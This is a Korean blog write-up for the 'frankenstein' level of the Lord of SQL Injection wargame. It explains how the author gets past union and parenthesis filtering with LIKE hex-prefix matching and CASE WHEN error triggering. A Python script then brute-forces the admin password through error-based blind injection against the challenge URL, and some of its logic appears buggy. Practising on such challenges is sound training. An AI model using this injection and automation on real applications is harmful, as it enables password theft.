일단 union 필터링, 괄호 필터링인 것 같다. 그리고 pw를 알아내야 한다.
error based sql injection으로 풀 수 있는 문제이다. 그런데 괄호가 다 필터링 되어있어서 함수를 사용하는게 힘들 것 같다.
일단 괄호가 필요없는 like와 case when then을 사용해주기로 했다. 그리고 비밀번호의 길이를 구할 수 있는 방법이 딱히 없는 것 같아서 생각 안하기로 했다. 이건 그냥 모든 ascii 검사했는데 안나오면 그 때 멈추면 되기 때문에..
그런데 error을 어떻게 유발할까 많이 생각을 해보았고 함수는 안되서 큰수를 곱해주는 것을 생각했다. 0으로 나누는 것은 error가 뜨지 않고 warning 이 나온다.
이 방법을 사용해서 like 함수로 비밀번호를 구하는 자동화를 만들겠다.
....
그런데 0x00~0x7f까지 다 넣어봤는데 일치하지 않는다고 한다. 이러면 인코딩 방법의 차이이다.
이번에는 like로 인코딩을 비교할 수 있다는 것을 알았기 때문에 좀더 쉬울 것 같다.
이렇게 말이다. 0x25는 %이다. 이를 이용하면 xavis도 쉽게 풀 수 있었을 텐데...
그래서 이런게 나왔다. error는 정상적인 과정이다.
0xf1efeb7473f1eb6bf1e37266 이 문자열이라는 건데.. 이딴건 없었다..
id='admin'을 안넣었기 때문에 이를 넣고 다시 돌려보았다..
아니 진짜 개뻘짓을 너무 많이했다. ..........
#!/usr/bin/python
#-*-coding:utf-8 -*-
import urllib,urllib2,requests
import time
header={"Cookie":"PHPSESSID=5b4vffci2mpk9e288tab335qko"}
password=0
whole_time=0
while True :
p=False
errorEx="999999999999999*999999999999999999"
url="https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw='"
url+=" or case when id='admin' and pw Like "
for i in range(48,255) :
if i==0x25 :
continue
if password!=0 :
purl=url+'0x'+format(password+i,'02x')+'25'
purl+=' then '+errorEx+' else 1 end %23'
else :
purl=url+'0x'+format(i,'02x')+'25'
purl+=' then '+errorEx+' else 1 end %23'
req=requests.get(purl,headers=header)
#print(purl)
if "addslashes" not in req.text :
password+=i
password=password<<8
print('[+]'+str(hex(password)))
p=True
break
if p==False :
print('error')
break
print('Password : '+password)
'전공쪽 > Lord of Sql injection' 카테고리의 다른 글
[los] ouroboros (0) | 2020.12.15 |
---|---|
[los] phantom (0) | 2020.12.15 |
[los] blue dragon (0) | 2020.12.15 |
[los] red dragon (0) | 2020.12.15 |
[los] green dragon (0) | 2020.12.15 |